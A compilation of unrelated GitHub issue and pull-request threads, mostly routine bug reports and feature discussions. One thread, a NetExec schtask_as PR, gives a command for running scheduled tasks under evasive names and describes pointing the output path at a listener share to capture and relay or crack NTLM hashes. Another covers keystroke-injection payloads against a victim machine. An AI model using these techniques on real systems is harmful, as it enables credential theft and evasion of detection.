Proposal: Adding Ionic as a platform

Hello Sir,
Greetings !!!
As we have been observing, Ionic now, is not just a framework, but it has grown to a platform for web developers to play with. It is recommended that we add this as a folder with the rest of the platforms.
Thanks and warm regards,
Chintan Soni

I think Ionic is HTML5 based mobile app framework, Which should be included under HTML or android section. But separate section for any framework seems bad idea.

@PSanni you are right. Lonic is hybrid app framework.

How about creating a cross platform directory, then we can list down all the cross platform development technologies and frameworks!
What do you say?

That sounds great, @PareshMayani sir.

@PareshMayani Than we might have need to change whole repository structure. Because there are many technologies already in repo, which belongs to "Cross-Platform" category.

@PSanni yes true you are right! Let's not create a "Cross platform" directory right now and let's keep all the directories on the root level only. Will define a directory structure later!

Yup, Great idea.

@chintansoni202 you can go ahead and create a separate directory for Ionic framework!

Under BigData section. Am i correct ????  :smile:

As far as I know, IONIC is a web framework and not related to big data! Please correct me if I am wrong!

Yes @PareshMayani Sir. You are right. Its a mobile cross platform framework built on top web technologies. It is not related to Big Data. We will have "Ionic" folder with rest of our technologies, on the same hierarchical level as android, ios, etc.

Sry my bad, i mean Under HTML section.
@chintansoni202 Better to put it under HTML folder. Because if we compare it with other than Django is also same level candidate.


use select" table.column as myColumn" the bug

        return array_shift($matches);

//            return array_pop($matches);

I think this PR will break this fix #245 . Using array_shift will return table.column instead of the alias myColumn. Does using the alias on search fails for your case? I think we need to think of a better solution.
BTW, what version of the package are you using?

laravel 5.0, datatable 1.107

BTW, I am receiving your emails it might have took longer to load due too images. Will try to fix this on some other way as this will break some of the installations. Let's keep this open until we have a better solution. Thanks!
Also, I suggest you use filterColumn atm to fix the where clause issue?

are you try my change?if have any errors, tell me ,let us solve that .if don't have any bug ,why not to use this fix.
if the fix effect select like "DB::raw('(SELECT table2.id FROM table as t ...) as file_id')", than you can rewrite the function extractColumnName, like :
public function extractColumnName($str)
{
dd($str);
$matches = explode(' as ', Str::lower($str));
    if ( ! empty($matches)) {
        if (Str::contains($str, 'DB::raw')) {
            return array_pop($matches);
        } else {
            return array_shift($matches);
        }
    } elseif (strpos($str, '.')) {
        $array = explode('.', $str);

        return array_pop($array);
    }

    return $str;
}

DB::raw will not be passed on the string so that will probably not work.

BTW, I think this PR will work when searching but will still fail when ordering is called? Have you tried ordering your table using this patch?

the problem :  how to decision a column name to search. OK.i try 。。。。
i tried ordering my table using this patch (1 minute ago), don't have bug。。。

I think I found a better way of doing this. When searching, array_shift is indeed needed but when sorting, array_pop is needed since alias works on ordering... Lets try to make a patch based on this theory but need to be careful since I see this as a breaking change. http://stackoverflow.com/questions/942571/using-column-alias-in-where-clause-of-mysql-query-produces-an-error

this is a good new, i can stop the try and do my program
wait for you new version,^_^

my ideas .
$column = $this->setupColumnName($i);
$i     is int index ,i suggest  use column name do the key , like
$column = $this->setupColumnName('columnName');
function setupColumnName($key) {
$columns = [
'columnName1'  => 'name';
'columnName2'  => 'sex';
'columnName3'  => 'age';
];
return $columns[$key];
}


Sort out: body background color should be defined as white in only the demo(s)

Sorted this out by removing the definition altogether, instead.


No issues just want to ask about something

Hello my friend
Hope all is well
I want to contact you but I don't have your email
my question is
when you request data by 2101 method (ReadByLocalIdentifier)
the car's ECU sends all of the data at one time
how do you know which byte is for coolant temperature for example or RPM
how can you differentiate it?
my car is opel vectra b X20Xev

I would very like to have your contact information
just write here any contact info and I will be contacting you


coloring by precedence

closes #8173

My inclination is to make this part of 0.5.0 even though it's arguably a bug fix \cc @zanieb

Fine with me


Servers

ASP.NET 5->Fundamentals->Servers

Servers accept incoming requests and make them available to the application pipeline
Built-in servers (list request features and configuration parameters supported, process model, .NET flavor and OS support)

IIS
WebListener
Kestrel

Guidance on when to use which server

Prefer Windows optimized servers (IIS, WebListener) on Windows.
Use IIS for general web hosting and WebListener for custom hosting in your own process or service.
Use Kestrel for non-Windows environments

Server specific programmatic configuration using IApplicationBuilder.Server

Downcast and configure

Custom

Implement IServerFactory
Create a feature collection per request and invoke the provided application delegate

Mandatory features: IHttpRequestFeature and IHttpResponseFeature
All other features are optional

See #58 for details on how to use a custom server with ASP.NET Hosting

Should I cover Feature Interfaces in this article, or link to another article on the topic? I'm thinking a section under Servers makes sense.
https://github.com/aspnet/HttpAbstractions/tree/dev/src/Microsoft.AspNet.Http.Features

See the added details above. Because request features can be added by both servers and middleware we should move the general discussion of request features to a separate topic (#293). This article should still include a discussion of the request features that the built-in servers provide and also how a custom server provides request feature implementations.


Allow to run ASReview directly as docker image

Feature Request
To have a "ready-made" Docker image on Dockerhub would be the shortest path to try the software.
I could help with that, but probbaly the docker image should be under "your account" on dockerhub.
I could contribute a Dockerfile including usage instructions and upload it to "my"  docker hub account, if that helps.

I went a bit ahead and uploaded asreview to my Docker account.
Si it can be run for everyboddy like this:
docker run behrica/asreview

Hi @behrica, thanks for reaching out with this very interesting idea. It would be nice to have a PR such that we can work on an official ASReview Docker image. Can you help us with this?

Yes,  I will send PR with Dockerfile and instructions.  Maybe you look at registering a docker hub account,  where the Dockerimage would be uploaded

is closed


fix: langchain on top of ChatGPT Plugins -404 not found

Thank you for this (and finding the page useful!)

You are welcome 🙏


docs: extend example applications

Description
Add new example application

Awesome! 😄 I think this would be a better fit for https://github.com/litestar-org/awesome-litestar/, though!
This section is meant for more internal reference applications, whereas awesome-litestar is for public and other finds.

@JacobCoffee
Can you approve, please?
https://github.com/litestar-org/awesome-litestar/pull/2


Unable to sign in using Federated Identity Provider Azure-AD through signInWithWebUI

Describe the bug
Hello Amplify Team,
I'm unable to use the amplify-cli due to my level of access, so I have created the amplifyconfiguration.json according to the documentation listed here:  https://docs.amplify.aws/lib/auth/getting-started/q/platform/ios/#prerequisites
Here is my config:
{
  "auth": {
    "plugins": {
      "awsCognitoAuthPlugin": {
        "IdentityManager": {
          "Default": {}
        },
        "CognitoUserPool": {
          "Default": {
            "PoolId": "[POOL ID]",
            "AppClientId": "[APP CLIENT ID]",
            "AppClientSecret": "[APP CLIENT SECRET]",
            "Region": "[REGION]"
          }
        },
        "Auth": {
          "Default": {
            "authenticationFlowType": "USER_SRP_AUTH",
            "OAuth": {
              "WebDomain": "https://[ENV]-[APP NAME].auth.[REGION].amazoncognito.com",
              "AppClientId": "[CLIENT ID]",
              "SignInRedirectURI": "myapp://",
              "SignOutRedirectURI": "myapp://",
              "Scopes": [
                "email",
                "openid"
              ],
              "ResponseType": "code"
            }
          }
        }
      }
    }
  }
}

Inside my application, this is how I'm calling signInWithWebUI :
func socialSignInWithWebUI(window: UIWindow) async {
        do {
            let signInResult = try await Amplify.Auth.signInWithWebUI(for: .saml("Azure-AD"), presentationAnchor: window)
            if(signInResult.isSignedIn) {
                print("Sign in succeeded.")
            }
        } catch let error {
            print("Unexpected error: \(error)")
        }
}

I looked through documentation to see if I'm even using the right approach (that is, using signInWithWebUI) and I found these pages referring to federation identities:

Identity Pool Federation (Advanced Workflows): https://docs.amplify.aws/lib/auth/advanced/q/platform/ios/
Federated Identities https://docs.amplify.aws/sdk/auth/federated-identities/q/platform/ios/

The last reference being a little older but the issue is that I'm not using an Identity Pool - is it required in this scenario? I wasn't able to find any concrete information about this.
Lastly, accessing the Hosted UI through the console works just fine and so does Postman when I set up the Authorization section and filled in the proper values.
If I could please receive some assistance regarding this issue it would be greatly appreciated - thank you.
Steps To Reproduce
Steps to reproduce the behavior:
1. Create a Cognito User Pool
2. Create a Federated Identity Provider of type SAML
3. Create an app client with an app client secret
4. Create a Hosted UI with the IdP and appropriate callback URLs
5. Set up an amplifyconfiguration.json without using the amplify cli
6. Call the signInWithWebUI api

Expected behavior
I expect for a modal view to open and display the Hosted UI I'm seeing in the desktop browsers I've tested in, so that the user can enter in their credentials in Azure and be redirected according to the URL Scheme I've designated.
Amplify Framework Version
2.16.0
Amplify Categories
Auth
Dependency manager
Swift PM
Swift version
5
CLI version
N/A
Xcode version
15.0.1 (15A507)
Relevant log output
<details>
<summary>Log Messages</summary>

2023-10-25 21:43:22.897470-0700 AppName[47208:3645645] [Amplify] Configuring
2023-10-25 21:43:22.924388-0700 AppName[47208:3645645] [Amplify] Could not find Cognito Identity Pool configuration
2023-10-25 21:43:22.937836-0700 AppName[47208:3645645] [Amplify] Successfully initialized Amplify

```
Is this a regression?
No
Regression additional context
No response
Platforms
iOS
OS Version
iOS 16.0
Device
iPhone 14 Pro Max
Specific to simulators
iPhone 13 Pro Simulator
Additional context
I'm receiving this popup once the api call is triggered:

This is the modal that appears once I proceed:

@dsakhapo Thanks for submitting your issue, we'll investigate further and get back to you soon.

@phantumcode Thank you I appreciate it.

I was able to solve my issue, as I suspected my amplifyconfiguration.json was missing some fields. This is my working config:
{
  "auth": {
    "plugins": {
      "awsCognitoAuthPlugin": {
        "IdentityManager": {
          "Default": {}
        },
        "CognitoUserPool": {
          "Default": {
            "PoolId": "[POOL ID]",
            "AppClientId": "[APP CLIENT ID]",
            "AppClientSecret": "[APP CLIENT SECRET]",
            "Region": "[REGION]"
          }
        },
        "Auth": {
          "Default": {
            "authenticationFlowType": "USER_SRP_AUTH",
            "OAuth": {
              "WebDomain": "[ENV]-[APP NAME].auth.[REGION].amazoncognito.com",
              "TokenURI": "https://[ENV]-[APP NAME].auth.[REGION].amazoncognito.com/oauth2/token",
              "SignInURI": "https://[ENV]-[APP NAME].auth.[REGION].amazoncognito.com/oauth2/authorize",
              "AppClientId": "[CLIENT ID]",
              "AppClientSecret": "[APP CLIENT SECRET]",
              "SignInRedirectURI": "myapp://",
              "SignOutRedirectURI": "myapp://",
              "Scopes": [
                "email",
                "openid"
              ],
              "ResponseType": "code"
            }
          }
        }
      }
    }
  }
}

The added fields being TokenURI, SignInURI,  and AppClientSecret to the OAuth section.
I was only able to find my needed fields through what seems to be older documentation: https://docs.amplify.aws/sdk/auth/hosted-ui/q/platform/ios/#signing-out-via-the-hosted-ui
I think it would be very helpful if the template provided in the newer documentation either included these fields or mentioned them:
https://docs.amplify.aws/lib/auth/getting-started/q/platform/ios/#set-up-backend-resources
Lastly, while I see many social providers mentioned, I did not see any mention of SAML providers in the below page which I think would useful as I began to doubt whether I was using the right api call which the older documentation mentions above:
https://docs.amplify.aws/lib/auth/social/q/platform/ios/

@dsakhapo Thanks for the feedback.  We'll add to our backlogs work items to update our documentation and template.  We recommend to use Amplify CLI to manage your configuration when possible so that all configurations are configured properly via the CLI questionnaires based on your use case and avoid typo and other errors that could be introduced through manual edits.


cannot generate list in Win10

Win10 terminal appears to be completely barfing when asked to generate output.  Colors, spacing, etc all showing incorrectly. Help?

that's odd.  I think that fixing #143 will fix this.


Reconnect to deno.land/x

We recently made some changes to deno.land/x, which requires that you reconnect your module. You can do this at https://deno.land/x#add. More info: https://deno.land/posts/registry2
Because of this deno_mongo v0.10.0 is not available on deno.land/x yet.

@manyuanrong Thanks :-)


AttributeError raised when DataArray.reduce is called directly

What happened?
I'm running into an issue when trying to directly use the DataArray.reduce method:
At first I used DataArray.cumsum to see the expected behavior:
>>> data = np.arange(12).reshape(4,3)
>>> da = xr.DataArray(data=data, dims=['x', 'y'], coords={'x': [10, 20, 30, 40], 'y': [70, 80, 90]})
>>> da.cumsum(dim='x')
<xarray.DataArray (x: 4, y: 3)>
array([[ 0,  1,  2],
       [ 3,  5,  7],
       [ 9, 12, 15],
       [18, 22, 26]])
Coordinates:
  * x        (x) int64 10 20 30 40
  * y        (y) int64 70 80 90

but when I'm trying to achieve the same result through DataArray.reduce I'm running into a numpy error, see code snippet and error traceback for details.
What did you expect to happen?
I expect to get the same output I got from calling DataArray.cumsum:
<xarray.DataArray (x: 4, y: 3)>
array([[ 0,  1,  2],
       [ 3,  5,  7],
       [ 9, 12, 15],
       [18, 22, 26]])
Coordinates:
  * x        (x) int64 10 20 30 40
  * y        (y) int64 70 80 90

Minimal Complete Verifiable Example
import xarray as xr
import numpy as np

data = np.arange(12).reshape(4,3)
da = xr.DataArray(data=data, dims=['x', 'y'], coords={'x': [10, 20, 30, 40], 'y': [70, 80, 90]})
func = xr.DataArray.cumsum
da.reduce(func=func, dim='x')

MVCE confirmation

[X] Minimal example — the example is as focused as reasonably possible to demonstrate the underlying issue in xarray.
[X] Complete example — the example is self-contained, including all data and the text of any traceback.
[ ] Verifiable example — the example copy & pastes into an IPython prompt or Binder notebook, returning the result.
[X] New issue — a search of GitHub Issues suggests this is not a duplicate.

Relevant log output
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/mnt/c/Users/GoMaN/Desktop/GoMaN/Projects/xarray/xarray/core/dataarray.py", line 3442, in reduce
    var = self.variable.reduce(func, dim, axis, keep_attrs, keepdims, **kwargs)
  File "/mnt/c/Users/GoMaN/Desktop/GoMaN/Projects/xarray/xarray/core/variable.py", line 1883, in reduce
    data = func(self.data, axis=axis, **kwargs)
  File "/mnt/c/Users/GoMaN/Desktop/GoMaN/Projects/xarray/xarray/core/common.py", line 63, in wrapped_func
    return self.reduce(
AttributeError: 'numpy.ndarray' object has no attribute 'reduce'

Anything else we need to know?
No response
Environment

C:\Users\GoMaN\miniconda3\envs\xarray-tests3.9\lib\site-packages_distutils_hack_init_.py:33: UserWarning: Setuptools is replacing distutils.
warnings.warn("Setuptools is replacing distutils.")

If you read the documentation of DataArray.reduce you will find that func need to be:

Function which can be called in the form f(x, axis=axis, **kwargs) to return the result of reducing an np.ndarray over an integer valued axis.so it operates on numpy arrays and not xarray DataArrays.

So try using np.cumsum instead.

I see, thank you for clearing that up :)


loggerd: refactor RemoteEncoder from struct to class

The original code is brilliant but it's not easy to understand and maintain. so I'm trying to refactor RemoteEncoder from struct to class, with the following main changes:

split handle_encoder_msg into small functions.
remove recursive call to handle_encoder_msg.
use function pointers to make code more concise.
make it easy to move VideoWriter  to threads in the future.(or write video in encoderd)

Glanced over this and looks cleaner, but this is way too big as a single PR. Can you split this up into smaller chunks of ~50 lines max?


increment to v1.25

Hi! This is the friendly automated conda-forge-linting service.
I just wanted to let you know that I linted all conda-recipes in your PR (recipe) and found it was in an excellent condition.


[Snyk] Upgrade com.auth0:java-jwt from 3.19.1 to 3.19.4

This PR was automatically created by Snyk using the credentials of a real user.Snyk has created this PR to upgrade com.auth0:java-jwt from 3.19.1 to 3.19.4.
:information_source: Keep your dependencies up-to-date. This makes it easier to fix existing vulnerabilities and to more quickly identify and fix newly disclosed vulnerabilities when they affect your project.

The recommended version is 3 versions ahead of your current version.
The recommended version was released a year ago, on 2023-01-11.

Note: You are seeing this because you or someone else with access to this repository has authorized Snyk to open upgrade PRs.
For more information:
🧐 View latest project report
🛠 Adjust upgrade PR settings
🔕 Ignore this dependency or unsubscribe from future upgrade PRs

📚  View the storybook of this branch here

Close in favor of renovate being able to rebase


[RTC] Implement executeAsyncScript

The problem
As a test implementer , I would like to test an sync method call on the browser using the webdriver .executeAsyncScript(...) method
Details
I couldn't find the equivalent of the .executeAsyncScript method (1) on the Selenide class. Only the non async one is available.
Tell us about your environment
Not relevant
Code To Reproduce Issue [ Good To Have ]
Current workaround:
JavascriptExecutor js = (JavascriptExecutor) WebDriverRunner.getWebDriver();
js.executeAsyncScript("someJavaScriptAsync(arguments[0])");
Currently I would like to have following:
Selenide.executeAsyncScript("someJavaScriptAsync(arguments[0])")
(1) https://selenium.dev/selenium/docs/api/java/org/openqa/selenium/JavascriptExecutor.html#executeAsyncScript-java.lang.String-java.lang.Object...-

Done in PR #1031


Monorepo solution missing "next/babel"

When running the monorepo solution eslint complains in the next.config.js file that it can't find "next/babel".
I've read here that you can add a .babelrc file with
{
  "presets": ["next/babel"],
  "plugins": []
}

... but then you also need to install an extra dependency so I'm not sure if that is the way to go.
I'm running the example locally using pnpm create next-app --example https://github.com/vercel/examples/tree/main/solutions/monorepo monorepo

This is an issue with VS Code (as that's where I see this error), not with Next.js, do NOT add a .babelrc to fix this as Next.js uses SWC nowadays.


Update DCC 2025

Which conference does this PR update?
DCC 2025
Related URL
https://datacompressionconference.org/

We currently do not support 'PST', please refer to the available timezone below and commit a fix, thanks~

We currently do not support 'PST', please refer to the available timezone below and commit a fix, thanks~

Thank you, and I fixed it.

We currently do not support 'PST', please refer to the available timezone below and commit a fix, thanks~

Thank you, and I fixed it.

It's bleeding quickly, thank you~


light/dark mode toggle button added

PR Description
I have added a light/dark mode toggle button.  Although i had some issue with its placement, i hope it gets reviewed and any input is welcome.

Related Issues: Issue for which you are raising a PR for
The sight didnt have a light mode.
Issue
[Issue number or description]
Checklist

[ ] I have gone through the [contributing guide](## PR Description

Add your description
Related Issues: Issue for which you are raising a PR for

Closes #

Issue
[Issue number or description]
Checklist

[x] I have gone through the contributing guide
[x] I have updated my branch and synced it with project main branch before making this PR
[x] Is this a bug fix/enhancement/documentation changes

Undertaking
I declare that:

The content I am submitting is original and has not been plagiarized.
No portion of the work has been copied from any other source without proper attribution.
The work has been checked for plagiarism, and I assure its authenticity.

[x] I have updated my branch and synced it with project main branch before making this PR
[ ] Is this a bug fix/enhancement/documentation changes
[ ] Part of GSSOC
[ ] Tested for any breaking changes
[ ] Other relevant checks completed

I understand that any violation of this undertaking may have legal consequences that I will bear and could result in the withdrawal of any recognition associated with the work.

[ ] I Agree

The sign is overlapping over Doctor section

@aray1608 How without any code changes made a PR?

@aray1608 How without any code changes made a PR?

I had made changes in the index.html file

Where are the changes? I can't see any file changes in the PR

Sorry, just noticed that now. The pictures I have attached above reflect the changes I had made. I think I messed up while making the PR.
In the meanwhile I am learning stuff and was planning to make some other changes too in the code, I'll fix that and make a new PR. Please give me some time.


FEATURE: Add support for different regions/keyboard layouts

Currently only one keyboard layout is supported. This can be a problem for people using USB Army Knife in different regions.
If your payload needs some special chars, you might need to know the language pack of the victim machine
Support for language switching right now isn't complete but we can work around it by injecting raw keypresses, as an example
RAW_HID SHIFT 0x64
RAW_HID 0x64

We should add a new command
LANG uk
That will automatically convert a character to the correct keypress for that region

Done


Any idea to use this style

Hi I have an instance with a tiles server based on the switch2osm tutorial and I wonder if I can use pianoforte style with this installation (build with osm2pgsql).
Thanks for your inputs, I really want to use this nice stylesheet!
Henri

Nope, sorry, data needs to be imported with imposm, see README for installation instructions.


Publish styleguide elsewhere

Currently, in order to view our styleguide you have to run it locally. GitHub Pages will only deploy the /docs folder from master, but that does not work for us since we put our work into develop. One possible solution:

Use Minio as backend
Upload /docs folder to bucket
Point ingress to it (docs.dictycr.org could work)

Also make sure to generate new styleguide build on every merge to develop using GitHub Actions.

Added a GH Action to build and deploy our styleguide to gh-pages.
https://dictybase.github.io/Dicty-Stock-Center/


Fix/322 form checkbox does not display checkbox input

👋 Thanks for creating a pull request! 🚀 Checkout the storybook we created for it here.


fix a race condition in the streaming connect test

Fix a race condition in the streaming connect test.
We've seen this test fail sometimes - it doesn't appear related to the new streaming code higher up the stack - although there is a change to one class that was used here.
So that class shouldn't have been used here - it is better and more precise to use a mock.
The problem in the test appears to be a race. The test starts a background task, it seems the background task could switch the IsConnected to false depending on the state of the underlying "faux" socket. This change is to initialize that "faux" socket to open.

Thanks for fixing this one @johnataylor!

@carlosscastro I was looking at these lines:
firstly this check:
https://github.com/microsoft/botbuilder-dotnet/blob/c4824bb6504c751d7707438e731ef7fc9f709ea4/libraries/Microsoft.Bot.Streaming/PayloadTransport/PayloadReceiver.cs#L147
and then the underlying websockettransport:
https://github.com/microsoft/botbuilder-dotnet/blob/c4824bb6504c751d7707438e731ef7fc9f709ea4/libraries/Microsoft.Bot.Streaming/Transport/WebSocket/WebSocketTransport.cs#L32
which would appear to check the socket - which would in the test be the FauxSock class.
do you agree? I think this is unrelated to the changes we just merged in for streaming although they did include a change to StreamingRequestHandler which was used in this test previously (I realize by also removing that reference from the test and replacing it with a mock I've perhaps removed the test for regression so if you could validate my reasoning that would be great.)


#209870 broke llvmPackages_rocm.clang

Also same-looking issue in llvmPackages_rocm but not in other llvmPackages versions that we build.  (I just confirmed that the PR doesn't fix it and reverting glibc upgrade doesn't fix it.  It sounds possible that this PR triggered them.)  Build links:

https://hydra.nixos.org/build/214886749
https://hydra.nixos.org/build/215014044

Originally posted by @vcunat in https://github.com/NixOS/nixpkgs/issues/209870#issuecomment-1501714553

https://github.com/NixOS/nixpkgs/pull/209870#issuecomment-1502852843

I just succeeded with llvmPackages_rocm.clang this way, as an experiment in vcunat@14fd6d2aaaec82.

If you can hold off a bit before merging that I'm trying the same NIX_CFLAGS_COMPILE="-v"-and-diff trick I used in #225220 to try to find the minimal change that fixes it, instead of a wholesale revert.  But it will be an hour or two before the builds complete.

Hrm, it is a bummer that the large llvm derivation can't use more than one builder.  This is going to be another hour or two.

There is a pretty good chance that https://github.com/NixOS/nixpkgs/pull/225846 will fix this too.  I'm running a build to find out, but I won't be awake when it finishes.

Fixed by https://github.com/NixOS/nixpkgs/pull/225846


There's a gem for that!

me:    hubot there's a gem for sockets
hubot: https://rubygems.org/gems/eventmachine

I'll cut a new release shortly.

Thanks, Corey! I can't tell you how much I love that you guys open-sourced hubot. It's already a big win at Code for America!


Added ability to move files into folders (and create if they don't exist)

This solves feature request #117 without major changes to code.
Added functionality:

Move an object into a folder
Creates a new folder if it does not exist before

Known issues:

Moving a file into an existing directory still shows as a CREATE action. (Purely visual, no data is overwritten.)
Global path shown in preview is not simplified yet (i.e. /home/user/oil/data/../test/test.lua vs /home/user/oil/test/test.lua)

Example usage:
<-- = parent directory of oil buffer
File directory structure:
- a/ <--
  - b.x
  - c.y

After changing b.x to d1/d2/b.x:
- a/ <--
  - d1/
  | - d2/
  | | - b.x
  - c.y

After changing c.y to d1/c.y:
- a/ <--
  - d1/
  | - d2/
  | | - b.x
  | - c.y

After changing 'c.y' to ../c.y:
- a/
  - d1/ <--
  | - d2/
  | | - b.x
  - c.y

EDITS: Added examples and known issues

I realize I did not address the edge case for when files already exist that was mentioned in the issue. However, there is an argument that this decision should not live in this PR as it applies to renaming things in general and should be accounted for explicitly in the move operation. I haven't taken the time to dig into that yet, so I am not sure what the default behavior is.

I am testing this branch in my configuration and it is exactly what I needed.
Thanks @pi314ever.

Hey @stevearc , any idea when you could take a look at this? I would love to have this PR merged to improve the capabilities of oil. Thank you for your time!

Thanks for your response! I truly appreciate the time you took to detail your concerns with this PR. The current method for checking duplicates only works on currently open buffers, and the extension to search in unopened buffers does seem quite difficult with the current implementation of oil. I don't think I will have time to figure out how to work this out myself either, but I hope someone can pick up where I left off.
Some notes to anyone who wants to tackle this problem:

The check_dupe function in lua/oil/mutator/parser.lua is probably the place to modify for the smallest footprint, but the only implementation I can think of may be a performance bottleneck for large projects and moving large amounts of files.
The implementation needs to allow for existence if it is not the ending node of the rename (i.e. a and b for a/b/c), while raising errors for ending nodes if duplicates exist for the ending node.
I wrote a preliminary test that should catch the overwriting error case when a successful implementation is created. Feel free to take it for future iterations.


Render native select out of screen or with clip

https://github.com/select2/select2/issues/3065#issuecomment-85731663

Committed in https://github.com/select2/select2/commit/c24293f2ba3d1de3b2dd1421177d3d91b05be887.


Update to Bot API 4.3

I've updated generated files with changes in API 4.2 and 4.3.
Changes:

removed line in generator script to fix issue #32
Poll, PollOption  types, sendPoll and stopPoll, addition to deduce_result_type to fix stopPoll
LoginUrl
other changes in line with official change log

Looks good! Thanks


fix: file exporter path handling

Description

Problem:

OutputDir in file exporter does not accept non-existent path.
If OutputDir is an empty string, the file path will become /{file-name}.json, which would cause it to be treated as an absolute path (instead of a relative path to the current working directory of the process).
-> This will result in a permission denied error.
The documentation recommends that OutputDir should end with /.
However, the current implementation makes the path look like {OutputDir}//{file-name}.json, resulting in a redundant /.

The way it was resolved:
Check the validity of OutputDir and create if necessary

How to test the change:
Configure OutputDir with cases: path does not exist, path with trailing /, path is empty string, and observe the results

Closes issue(s)

Resolve #2483
Checklist

[x] I have tested this code
[x] I have added unit test to cover this code
[x] I have updated the documentation (README.md and /website/docs)
[ ] I have followed the contributing guide

To edit docs, besides changing the content of the .md files in /website/docs, what else do I need to do?
It seems that the docs on the website are not updated according to what I edited

It seems that the docs on the website are not updated according to what I edited

Oh sorry I forgot to address this one.
The doc is versioned this is why you don't see the change, but if you add /next after /docs you are able to see the next version of the doc after the release (ex: https://gofeatureflag.org/docs/next).
In the preview for this PR it will be in https://deploy-preview-2498--go-feature-flag-doc-preview.netlify.app/docs/next


schtask_as Improvement - Options for custom task, file, and location.

Added following options to try and avoid detection when using this module:
TASK           Set a name for the scheduled task name
FILE           Set a name for the command output file
LOCATION       Set a location for the command output file
Example:
nxc smb [ip] -u [user] -p [pwd] -M schtask_as -o USER=Administrator CMD="whoami" TASK="Windows Update Service" FILE="update.log" LOCATION="\\Windows\\Tasks\\"

I wanted to document this here as well. An unintended side effect of being able to customize the location now is that you can set the location to be an SMB share. Unfortunately this does not allow you to save the output file to the share (at least not with my current changes) but it does allow you to capture an NTLM callback of the impersonated user.
For example, a scenario were commands might get flagged for being in a task, you could put some garbage or something  benign that wont get caught and set the location to be your host, capture the hash, and relay / crack.
Example command:
nxc smb [ip] -u [user] -p [pwd] -M schtask_as -o USER=Administrator CMD="." TASK="[task name]" FILE="[file]" LOCATION="\\\\[listener IP]\\[share]\\"


Clock showing 24 instead 00

Hi. The clock shows 24:16 instead of 00:16. Is it a bug ?
Thx

Could it be related to https://github.com/matt8707/ha-fusion/issues/104?

Did 2024.1.3 fix this?

No. Still showing 24 at midnight even with 2014.1.3.

hello, 2024.1.4 fixed the problem. thx and great job.


Add unpinAllForumTopicMessages and unpinAllGeneralForumTopicMessages methods

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 100.00%. Comparing base (26703cf) to head (4d9695b).

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@             Coverage Diff             @@
##              master       #66   +/-   ##
===========================================
  Coverage     100.00%   100.00%
- Complexity      1284      1296   +12
===========================================
  Files            268       270    +2
  Lines           4581      4612   +31
===========================================
+ Hits            4581      4612   +31

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


corrupt mpq archive cause crash

the attachment is the corrupt archive, can crash mpqeditor.
MPQEditor_Crash_6EF9A265B698838B2B5747C7E1774DCFEC39BD98AE73ED11F96C04134D62BECA017FE9FE778E2578FDB7311B4127514505B901B6E452DCBF005571E72F8AB5C4.zip
my program use stormlib to access mpq archive, but it crash when access it :(

The MPQ seems to be corrupt. I'll fix StormLib to deny opening it.

Commit https://github.com/ladislav-zezula/StormLib/commit/5e179844a864e130918f045165a75fa268629b4a adds more strict check to the HET table structure and refuses to load such MPQ.

thanks!


Wait for a task to be finished with success, error or cancelled

I have a following saga:
function* cancelTaskOnAction(actionType, task) {
  const { abortingAction, taskFinished } = yield race({
    abortingAction: take(actionType),
    taskFinished: join(task), // or task.done,
  });

  if (abortingAction) {
    console.log('lets abort this task and exit');
    yield cancel(task);
  } else {
    console.log('task finished or has been cancelled from somewhere else, so there is no need to wait for actionType anymore, lets exit to free memory');
  }
}

The problematic part is taskFinished: join(task), it works when task finished either with ok response or an error, but taskFinished will never win this race if task was cancelled, for example by takeLatest somewhere. The saga will hang on take(actionType), which is not good for memory.  Is this a bug or this is intentional? Is it possible to add an effect to my race like taskAborted?
I am using Redux-Saga v0.16.0

joining a cancelled task cancels a joiner (at least it should), does ur cancelTaskOnAction really hangs unresolved when task gets cancelled? Could u provide a repro on something like codesandbox.io ?

It seems so, as after task is cancelled, this saga will hang until take(actionType) is fired. I will create a demo soon, I hope I will manage it today.

I prepared demo: https://codesandbox.io/s/73qo3w8096
It looks like we have 2 problems, when join is used in race, when task finishes normally, it will win, but winner object won't contain winner's key. 2nd problem, when task is cancelled somewhere else, this saga will still run, demo shows 2 cases:

1st case - just click Start new worker.
2nd case - click Start new worker and then within 5s Stop all workers

the winner has taskStopped key, it's value just happens to be undefined because worker doesn't return anything
seems like a problem, gonna look into how it is handled internally and what we can do to fix this. Just to clarify - in your eyes workerAborter should get cancelled based on regular cancellation propagation  to joiners rule, right?

re 1) My bad :)
re 2) When I raised this issue, when task is cancelled, I expected taskFinished to be the winner. I thought this is more logical, because as mentioned in docs :

Cancellation propagates downward

But after more thinking, when you yield call(saga) and saga will be cancelled, then caller would be cancelled too.  In the contrary to errors  yield fork(task). And because join is like converting fork to call, I think that joining a task which gets aborted should abort the joiner - and we could always use try finally and yield cancelled() when necessery, so I think this is the best approach. Although maybe wrapping join inside race should "protect" saga yielding race? :) I think it shouldn't, but thats a tough one :)

https://github.com/redux-saga/redux-saga/pull/1493 got merged in, this should "resolve" ur issue by aligning the behaviour with all - END is going to cancel the saga waiting on take


.GetMovieReleases(Movie.Id) missing "primary"

Lordmike;
Thanks for the speedy updates to missing movie items and post to nuget. Works just fine thx!
Found a missing item in getmoviereleases method. Nothing for boolean "Primary". This is the 'first release country' record flag.
Pls do have a look see.
Thx Joe

https://github.com/LordMike/TMDbLib/commit/5f14cc7d895060f7e5d3388aad7e34ee03522cff


Add repr methods

This is only done for Plan, Customer and Subscription for now, and open
for discussion.
It helps a lot when debugging and/or looking at locals in tracebacks.

I’m generally in favor of this.
Any objection to using format() instead of %?
Also style wise I prefer skipping the multi line string, then making the argument list one argument per line as it’s easier to scan.

You mean like
     def __repr__(self):
-        return ('Plan(pk=%r, name=%r, amount=%r, currency=%r, interval=%r, '
-                'interval_count=%r, trial_period_days=%r, stripe_id=%r)' % (
-                    self.pk, self.name, self.amount, self.currency,
-                    self.interval, self.interval_count,
-                    self.trial_period_days, self.stripe_id))
+        return ('Plan(pk={!r}, name={!r}, amount={!r}, currency={!r}, interval={!r}, '
+                'interval_count={!r}, trial_period_days={!r}, stripe_id={!r})'.format(
+                    self.pk,
+                    self.name,
+                    self.amount,
+                    self.currency,
+                    self.interval,
+                    self.interval_count,
+                    self.trial_period_days,
+                    self.stripe_id))

IMHO it makes the whole file harder to scan (by adding more lines).

@paltman
ping

No, more like:
    def __repr__(self):
